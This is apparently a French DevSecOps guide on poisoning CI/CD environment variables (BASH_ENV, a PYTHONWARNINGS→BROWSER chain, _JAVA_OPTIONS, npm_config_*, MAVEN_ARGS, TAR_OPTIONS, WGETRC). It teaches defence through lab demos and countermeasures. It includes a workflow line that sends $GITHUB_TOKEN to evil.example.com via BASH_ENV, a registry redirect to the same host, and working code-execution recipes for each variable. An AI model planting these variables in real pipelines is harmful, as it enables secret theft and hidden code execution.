Aller au contenu
Sécurité medium

Empoisonnement de variables d'environnement dans les pipelines

18 min de lecture

Un pipeline CI/CD exécute tar xf archive.tar pour extraire des artefacts de build. Rien de suspect dans le code, rien de malveillant dans l’archive. Pourtant, une commande arbitraire s’exécute à chaque extraction. Le coupable ? TAR_OPTIONS, une variable d’environnement que personne ne surveille.

Ce guide présente 6 variables d’environnement qui permettent d’exécuter du code arbitraire dans vos pipelines — sans toucher au code source, sans modifier les fichiers de configuration, sans déclencher d’alerte. Vous apprendrez à les identifier, les reproduire en lab, et les neutraliser.

  • Pourquoi les variables d’environnement sont un vecteur d’attaque sous-estimé en CI/CD
  • 6 techniques concrètes exploitant BASH_ENV, _JAVA_OPTIONS, PYTHONWARNINGS, npm_config_*, MAVEN_ARGS et TAR_OPTIONS
  • Comment reproduire chaque attaque en toute sécurité dans un lab
  • Les contre-mesures pour protéger vos pipelines

Pourquoi les variables d’environnement sont dangereuses

Section intitulée « Pourquoi les variables d’environnement sont dangereuses »

Dans un pipeline CI/CD, les variables d’environnement jouent un rôle central : elles transportent les secrets (tokens, clés API), les paramètres de configuration (registres, chemins) et les métadonnées du build (commit, branche).

Le problème : de nombreux outils lisent des variables d’environnement pour modifier leur comportement — et certaines de ces variables permettent d’exécuter du code arbitraire. C’est du “built-in”, pas un bug : les outils font exactement ce pour quoi ils sont conçus.

Imaginez votre pipeline comme un immeuble. Les variables d’environnement sont les boîtes aux lettres du hall d’entrée. Normalement, elles contiennent du courrier légitime. Mais si quelqu’un glisse des instructions piégées dans la boîte de bash, java ou tar, ces outils les exécutent sans poser de questions — ils ne vérifient pas qui a déposé le courrier.

Un attaquant peut modifier les variables d’environnement d’un pipeline de plusieurs façons :

VecteurTechniqueExemple
$GITHUB_ENVÉcriture dans le fichier pointé par $GITHUB_ENVecho "BASH_ENV=malicious.sh" >> $GITHUB_ENV
PR malveillanteFichier de workflow modifié dans la PRenv: MAVEN_ARGS: "..." dans le YAML
Action compromiseUne action tierce définit des variablescore.exportVariable('TAR_OPTIONS', '...')
Injection workflowExpression ${{ }} non protégée${{ github.event.issue.title }} dans un env:
Cache/artefactFichier .env restauré depuis un cache empoisonnéCache contenant un .env modifié

Le projet LOTP documente 8 outils vulnérables à l’empoisonnement de variables d’environnement. Ce guide couvre les 6 plus courants en environnement DevOps.

OutilVariable(s)MécanismeGravité
bashBASH_ENVÉvalué avant chaque shell non-interactifCritique
pythonPYTHONWARNINGS + BROWSER + BASH_ENVChaîne de 3 variablesHaute
java_JAVA_OPTIONS, JAVA_TOOL_OPTIONS-XX:OnOutOfMemoryError + -Xmx2mHaute
npmnpm_config_*Tout npm_config_X → paramètre npmHaute
mavenMAVEN_ARGSInjection d’arguments, plugin execHaute
tarTAR_OPTIONS--checkpoint-action=exec=Haute
wgetWGETRC / use_askpassExécution d’un script comme “askpass”Moyenne
pipPIP_INDEX_URLRedirection du registre PyPIMoyenne

BASH_ENV est la technique la plus dangereuse car bash est présent dans quasiment tous les pipelines. Chaque step run: dans GitHub Actions utilise bash par défaut. La variable BASH_ENV est évaluée avant l’exécution de chaque script non-interactif.

  1. L’attaquant écrit dans $GITHUB_ENV : un step compromis (action tierce, injection) ajoute une ligne BASH_ENV=commande dans le fichier pointé par $GITHUB_ENV.

  2. Le runner charge la variable : entre deux steps, GitHub Actions lit $GITHUB_ENV et exporte les variables dans l’environnement.

  3. Bash évalue BASH_ENV : au step suivant, bash exécute le contenu de BASH_ENV avant le script légitime. Le code malveillant s’exécute avec les mêmes droits et les mêmes secrets.

Dans un pipeline GitHub Actions, l’empoisonnement ressemble à ceci :

Workflow GitHub Actions — attaque BASH_ENV
# Step 1 : une action tierce compromise empoisonne BASH_ENV
- name: Setup (action compromise)
run: |
echo 'BASH_ENV=$(curl https://evil.example.com/collect?token=$GITHUB_TOKEN)' >> $GITHUB_ENV
# Step 2 : step légitime — BASH_ENV s'exécute AVANT
- name: Build
run: |
npm install # BASH_ENV a déjà exfiltré le token
npm test

Dans le lab local (lab-lotp/14-env-bash/), la simulation fonctionne ainsi :

lab-lotp/14-env-bash/simulate-github-env.sh
# Simuler $GITHUB_ENV
GITHUB_ENV=$(mktemp)
# L'attaquant empoisonne BASH_ENV
echo 'BASH_ENV=$(echo "[!] CODE EXÉCUTÉ — id: $(id)" 1>&2)' >> "$GITHUB_ENV"
# Charger les variables (comme le runner)
while IFS= read -r line; do
eval "export $line"
done < "$GITHUB_ENV"
# Le step suivant exécute BASH_ENV avant tout
bash victim-step.sh

Résultat du lab :

Sortie
[!] CODE EXÉCUTÉ VIA BASH_ENV — id: uid=1000(bob) gid=1000(bob) ...
[Step 2] Démarrage du build légitime...
[Step 2] npm install && npm test
[Step 2] Build terminé avec succès.

Le code malveillant s’exécute avant le build légitime.

Technique 2 : PYTHONWARNINGS — la chaîne invisible

Section intitulée « Technique 2 : PYTHONWARNINGS — la chaîne invisible »

Python ne charge aucun fichier de configuration local par défaut. Mais une chaîne de 3 variables permet quand même d’obtenir de l’exécution de code avant toute invocation de python ou pip.

La chaîne exploite un easter egg du module antigravity de Python :

  1. PYTHONWARNINGS="::antigravity.::" charge le module antigravity — ce module est conçu pour ouvrir une page xkcd dans un navigateur.

  2. antigravity utilise le module webbrowser — qui lit la variable BROWSER pour choisir quel exécutable ouvrir.

  3. BROWSER="/bin/bash" redirige vers bash — au lieu d’un navigateur, c’est bash qui est lancé avec l’URL comme argument.

  4. BASH_ENV="$(commande)" intercepte le lancement de bash — le code s’exécute avant que bash ne traite l’URL.

lab-lotp/15-env-python/demo-chain.sh
# Les 3 variables de la chaîne
export PYTHONWARNINGS="::antigravity.::"
export BROWSER="/bin/bash"
export BASH_ENV='$(echo "[!] CODE EXÉCUTÉ via chaîne Python" 1>&2; \
f=$(mktemp); echo exit > $f; echo $f)'
# N'importe quelle invocation de Python déclenche la chaîne
python3 -c "print(42)"

Résultat du lab :

Sortie
[!] CODE EXÉCUTÉ via chaîne PYTHONWARNINGS→BROWSER→BASH_ENV
Invalid -W option ignored: unknown warning category: 'antigravity.'
42

Le code injecté s’exécute avant print(42). Cela fonctionne aussi avec pip install, pytest, mypy — tout ce qui lance l’interpréteur Python.

Les variables _JAVA_OPTIONS, JAVA_TOOL_OPTIONS et JDK_JAVA_OPTIONS ajoutent des arguments à toute invocation de la JVM. Combinées avec une limite mémoire absurde, elles permettent d’exécuter du code au crash.

  1. _JAVA_OPTIONS injecte des arguments JVM — la variable est lue par toutes les implémentations Java avant le démarrage.

  2. -Xmx2m provoque un crash — la heap est limitée à 2 Mo, ce qui cause un OutOfMemoryError dans quasiment tout programme Java.

  3. -XX:OnOutOfMemoryError="cmd" exécute une commande — ce flag est conçu pour le diagnostic, mais il exécute n’importe quelle commande shell.

lab-lotp/16-env-java/demo-java.sh
# Empoisonner _JAVA_OPTIONS
export _JAVA_OPTIONS='-XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx2m'
# Toute commande Java déclenche l'exécution
java Hello # Programme simple
mvn clean install # Build Maven
gradle build # Build Gradle

Résultat attendu :

Sortie
Picked up _JAVA_OPTIONS: -XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx2m
java.lang.OutOfMemoryError: Java heap space
[!] RCE via Java

Technique 4 : npm_config_* — le piège du préfixe

Section intitulée « Technique 4 : npm_config_* — le piège du préfixe »

npm interprète toute variable d’environnement commençant par npm_config_ comme un paramètre de configuration. Ce comportement est documenté mais peu connu — et il ouvre deux vecteurs d’attaque.

Attaque 1 — Détournement du shell : npm_config_script_shell remplace le shell utilisé pour exécuter les scripts npm. Au lieu de /bin/sh, npm utilise le script de l’attaquant.

Attaque 2 — Redirection du registre : npm_config_registry redirige npm install vers un registre contrôlé par l’attaquant. Les packages installés proviennent d’une source malveillante.

lab-lotp/17-env-npm/demo-npm-env.sh
# Attaque 1 : détourner le shell pour les scripts npm
export npm_config_script_shell="./pwn.sh"
npm test # pwn.sh est exécuté au lieu de /bin/sh
# Attaque 2 : rediriger le registre
export npm_config_registry="https://evil.example.com/"
npm install # packages téléchargés depuis le registre malveillant

Résultat du lab :

Sortie — Attaque script_shell
> lab-17@1.0.0 test
> echo 'Running tests...'
[!] CODE EXÉCUTÉ — npm_config_script_shell a détourné le shell
[!] Arguments reçus: -c echo 'Running tests...'
[!] id: uid=1000(bob) gid=1000(bob) ...
Sortie — Attaque registry
[*] 'npm config get registry' retourne :
https://evil.example.com/

Depuis Maven 3.9, la variable MAVEN_ARGS permet d’ajouter des arguments à toute commande mvn. Un attaquant peut injecter le plugin exec-maven-plugin pour exécuter des commandes shell.

Empoisonnement MAVEN_ARGS
export MAVEN_ARGS="org.codehaus.mojo:exec-maven-plugin:3.2.0:exec \
-Dexec.executable=/bin/sh \
-Dexec.args='-c echo [!] RCE via MAVEN_ARGS'"
# Toute commande Maven exécute le code injecté
mvn clean install
mvn test
mvn package

Le plugin exec-maven-plugin est téléchargé depuis Maven Central (c’est un plugin légitime) et exécute la commande spécifiée. Aucune modification du pom.xml n’est nécessaire.

Technique 6 : TAR_OPTIONS — le fantôme des archives

Section intitulée « Technique 6 : TAR_OPTIONS — le fantôme des archives »

tar est utilisé partout dans les pipelines : extraction d’artefacts, décompression de caches, restauration de dépendances. La variable TAR_OPTIONS est ajoutée en tête de chaque commande tar, et l’option --checkpoint-action=exec= permet d’exécuter une commande à chaque fichier traité.

lab-lotp/18-env-tar/demo-tar.sh
# Empoisonner TAR_OPTIONS
export TAR_OPTIONS="--checkpoint=1 \
--checkpoint-action=exec=echo\ [!]\ CODE\ EXÉCUTÉ\ via\ TAR_OPTIONS"
# Toute commande tar exécute le code injecté
tar cf archive.tar fichier.txt # Création → exécution
tar xf archive.tar # Extraction → exécution

Résultat du lab :

Sortie
[!] CODE EXÉCUTÉ via TAR_OPTIONS

Chaque opération tar dans le pipeline — y compris celles effectuées en interne par le runner pour restaurer les caches — exécute le code injecté.

wget peut être configuré via un fichier .wgetrc ou la variable WGETRC. La directive use_askpass spécifie un exécutable pour demander les credentials HTTP — un attaquant peut le pointer vers un script arbitraire.

lab-lotp/20-env-wget/demo-wget.sh
# Créer un .wgetrc malveillant
echo 'use_askpass=./pwn.sh' > .wgetrc
export WGETRC="$(pwd)/.wgetrc"
# Toute invocation de wget exécute pwn.sh
wget https://example.com -O /dev/null

Voici comment ces techniques s’enchaînent dans un vrai scénario d’attaque :

  1. L’attaquant soumet une PR vers un repo open source populaire. La PR modifie un fichier de test anodin.

  2. Le workflow pull_request_target se déclenche et exécute une action tierce compromise (ou une action dont le tag a été modifié).

  3. L’action compromise écrit dans $GITHUB_ENV trois lignes : BASH_ENV, TAR_OPTIONS, et npm_config_registry.

  4. Les steps suivants du même job sont compromis — les secrets sont exfiltrés via BASH_ENV, les artefacts tar contiennent du code malveillant, et les futures installations npm proviennent d’un registre piégé.

  5. Aucune alerte ne se déclenche — le code source n’a pas été modifié, les logs montrent un build “normal” (le code malveillant est exécuté en mode silencieux).

ActionProtectionEffort
Épingler les actions sur un SHAEmpêche la modification des tagsFaible
Limiter les permissions GITHUB_TOKENRéduit l’impact d’une exfiltrationFaible
Auditer les $GITHUB_ENV writesDétecte les écritures suspectesMoyen
Utiliser --ignore-scripts pour npm ciBloque postinstall et le détournement shellFaible
  1. Isoler les steps sensibles dans des jobs séparés. Les variables d’environnement empoisonnées ne se propagent pas entre jobs (chaque job utilise un runner frais). Séparez les steps qui exécutent du code non fiable des steps qui manipulent des secrets.

  2. Nettoyer les variables critiques en début de step. Ajoutez un step de “sanitization” qui unset les variables dangereuses :

    Step de nettoyage
    - name: Sanitize env
    run: |
    unset BASH_ENV TAR_OPTIONS _JAVA_OPTIONS JAVA_TOOL_OPTIONS
    unset MAVEN_ARGS PYTHONWARNINGS BROWSER
    env | grep -i "npm_config_" | cut -d= -f1 | xargs -I{} unset {}
  3. Utiliser des runners éphémères. Un runner qui est détruit après chaque job empêche la persistance de variables empoisonnées entre les exécutions.

  4. Verrouiller l’accès à $GITHUB_ENV. Restreindre les actions qui ont le droit d’écrire dans $GITHUB_ENV via des workflows réutilisables où le $GITHUB_ENV n’est pas partagé.

Les outils de sécurité CI/CD détectent certains de ces patterns :

OutilDétectionLien
ZizmorÉcriture dans $GITHUB_ENV par des steps non contrôlésGuide zizmor
PoutineExécution de code après checkout d’une PR non fiableGuide poutine
StepSecurity Harden-RunnerSurveillance réseau et processus en temps réelharden-runner
SymptômeCause probableSolution
Code exécuté avant le script dans un stepBASH_ENV empoisonnéunset BASH_ENV en début de step
npm install télécharge depuis un registre inconnunpm_config_registry modifiénpm config get registry + unset npm_config_registry
Java crash OutOfMemoryError inattendu_JAVA_OPTIONS avec -Xmx2mecho $_JAVA_OPTIONS + unset _JAVA_OPTIONS
Commande tar exécute du code inattenduTAR_OPTIONS empoisonnéecho $TAR_OPTIONS + unset TAR_OPTIONS
wget appelle un script inattendu.wgetrc avec use_askpassVérifier $WGETRC et ~/.wgetrc
Python lance un navigateur au démarragePYTHONWARNINGSantigravityunset PYTHONWARNINGS BROWSER
Maven exécute un plugin non déclaré dans pom.xmlMAVEN_ARGS injecte un pluginecho $MAVEN_ARGS + unset MAVEN_ARGS

Tous les labs sont disponibles dans le dossier lab-lotp/ et sont conçus pour être exécutés en local, en toute sécurité :

LabDossierTechniqueTesté
BASH_ENV14-env-bash/Empoisonnement via $GITHUB_ENV simuléOui
PYTHONWARNINGS15-env-python/Chaîne PYTHONWARNINGSBROWSERBASH_ENVOui
_JAVA_OPTIONS16-env-java/OutOfMemoryErrorOnOutOfMemoryErrorJDK requis
npm_config_*17-env-npm/script_shell + registry redirectOui
TAR_OPTIONS18-env-tar/checkpoint-action=execOui
wget use_askpass20-env-wget/.wgetrc + use_askpassOui
  • Les variables d’environnement sont un vecteur d’attaque invisible : elles ne modifient ni le code source ni les fichiers de configuration.

  • BASH_ENV est la plus dangereuse car bash est présent dans quasiment tous les pipelines et la variable est évaluée avant chaque script.

  • 8 outils courants sont exploitables : bash, python, java, npm, maven, tar, wget, pip. La liste complète est dans le projet LOTP.

  • L’empoisonnement se produit souvent via $GITHUB_ENV, les actions tierces compromises, ou les expressions ${{ }} non protégées.

  • La contre-mesure la plus efficace est l’isolation entre jobs : les variables empoisonnées ne se propagent pas d’un job à l’autre.

  • Combiner l’isolation avec l’épinglage SHA des actions, le nettoyage des variables, et les outils de détection (zizmor, Poutine) pour une défense en profondeur.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn